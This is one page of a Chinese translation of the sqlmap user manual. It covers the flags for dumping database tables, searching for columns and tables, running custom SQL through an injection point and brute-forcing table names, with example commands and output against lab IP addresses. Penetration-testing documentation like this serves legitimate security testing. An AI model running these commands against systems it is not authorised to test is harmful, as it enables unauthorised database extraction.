首页/杀毒教程/内容

SqlMap用户手册

杀毒教程2023-04-03 阅读()

+----+--------+------------+
 

可以获取指定库中的所有表的内容,只用-dump跟-D参数(不使用-T与-C参数)。

也可以用-dump跟-C获取指定的字段内容。

sqlmap为每个表生成了一个CSV文件。

如果你只想获取一段数据,可以使用–start和–stop参数,例如,你只想获取第一段数据可以使用–stop 1,如果想获取第二段与第三段数据,使用参数 –start 1 –stop 3。

也可以用–first与–last参数,获取第几个字符到第几个字符的内容,如果你想获取字段中第三个字符到第五个字符的内容,使用–first 3 –last 5,只在盲注的时候使用,因为其他方式可以准确的获取注入内容,不需要一个字符一个字符的猜解。

获取所有数据库表的内容

参数:–dump-all,–exclude-sysdbs

使用–dump-all参数获取所有数据库表的内容,可同时加上–exclude-sysdbs只获取用户数据库的表,需要注意在Microsoft SQL Server中master数据库没有考虑成为一个系统数据库,因为有的管理员会把他当初用户数据库一样来使用它。

搜索字段,表,数据库

参数:–search,-C,-T,-D

–search可以用来寻找特定的数据库名,所有数据库中的特定表名,所有数据库表中的特定字段。

可以在一下三种情况下使用:

-C后跟着用逗号分割的列名,将会在所有数据库表中搜索指定的列名。
-T后跟着用逗号分割的表名,将会在所有数据库中搜索指定的表名
-D后跟着用逗号分割的库名,将会在所有数据库中搜索指定的库名。
 

运行自定义的SQL语句

参数:–sql-query,–sql-shell

sqlmap会自动检测确定使用哪种SQL注入技术,如何插入检索语句。

如果是SELECT查询语句,sqlmap将会输出结果。如果是通过SQL注入执行其他语句,需要测试是否支持多语句执行SQL语句。

列举一个Mircrosoft SQL Server 2000的例子:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --sql-query "SELECT 'foo'" -v 1

[...]
[hh:mm:14] [INFO] fetching SQL SELECT query output: 'SELECT 'foo''
[hh:mm:14] [INFO] retrieved: foo
SELECT 'foo':    'foo'

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --sql-query "SELECT 'foo', 'bar'" -v 2

[...]
[hh:mm:50] [INFO] fetching SQL SELECT query output: 'SELECT 'foo', 'bar''
[hh:mm:50] [INFO] the SQL query provided has more than a field. sqlmap will now unpack it into
distinct queries to be able to retrieve the output even if we are going blind
[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS VARCHAR(8000)),
(CHAR(32)))
[hh:mm:50] [INFO] retrieved: foo
[hh:mm:50] [DEBUG] performed 27 queries in 0 seconds
[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(98)+CHAR(97)+CHAR(114)) AS VARCHAR(8000)),
(CHAR(32)))
[hh:mm:50] [INFO] retrieved: bar
[hh:mm:50] [DEBUG] performed 27 queries in 0 seconds
SELECT 'foo', 'bar':    'foo, bar'
 

爆破
暴力破解表名

参数:–common-tables

当使用–tables无法获取到数据库的表时,可以使用此参数。

通常是如下情况:

1、MySQL数据库版本小于5.0,没有information_schema表。
2、数据库是Microssoft Access,系统表MSysObjects是不可读的(默认)。
3、当前用户没有权限读取系统中保存数据结构的表的权限。
 

暴力破解的表在txt/common-tables.txt文件中,你可以自己添加。

列举一个MySQL 4.1的例子:

$ python sqlmap.py -u "http://192.168.136.129/mysql/get_int_4.php?id=1" --common-tables -D testdb --banner

[...]
[hh:mm:39] [INFO] testing MySQL
[hh:mm:39] [INFO] confirming MySQL
[hh:mm:40] [INFO] the back-end DBMS is MySQL
[hh:mm:40] [INFO] fetching banner
web server operating system: Windows
web application technology: PHP 5.3.1, Apache 2.2.14
back-end DBMS operating system: Windows
back-end DBMS: MySQL < 5.0.0
banner:    '4.1.21-community-nt'

[hh:mm:40] [INFO] checking table existence using items from '/software/sqlmap/txt/common-tables.txt'
[hh:mm:40] [INFO] adding words used on web page to the check list
please enter number of threads? [Enter for 1 (current)] 8
[hh:mm:43] [INFO] retrieved: users

Database: testdb
[1 table]
+-------+
(北联网教程,专业提供视频软件下载)

第1页  第2页  第3页  第4页  第5页  第6页  第7页  第8页  第9页  第10页  第11页  第12页  第13页  第14页  第15页  第16页  第17页  第18页  第19页  第20页  第21页  第22页  第23页  第24页  第25页  第26页  第27页  第28页  第29页  第30页  第31页  第32页  第33页  第34页  第35页  第36页  第37页  第38页  第39页  第40页  第41页  第42页  第43页  第44页  第45页  第46页  第47页  第48页  第49页  第50页  第51页  第52页  第53页  第54页  第55页  第56页  第57页  第58页  第59页  第60页  第61页  第62页  第63页  第64页  第65页  第66页  第67页  第68页  第69页  第70页  第71页  第72页  第73页  第74页  第75页  第76页  第77页  第78页  第79页  第80页  第81页  第82页  第83页  第84页  第85页  第86页  第87页  第88页  第89页  第90页  第91页  第92页  第93页  第94页  第95页  第96页  第97页  第98页  第99页  第100页  第101页  第102页  第103页  第104页  第105页  第106页  第107页  第108页  第109页  第110页  第111页  第112页  第113页  第114页  第115页  第116页  第117页  第118页  第119页  第120页  第121页  第122页  第123页  第124页  第125页  第126页  第127页  第128页  第129页  第130页  第131页  第132页  第133页  第134页  第135页  第136页  第137页 

……

相关阅读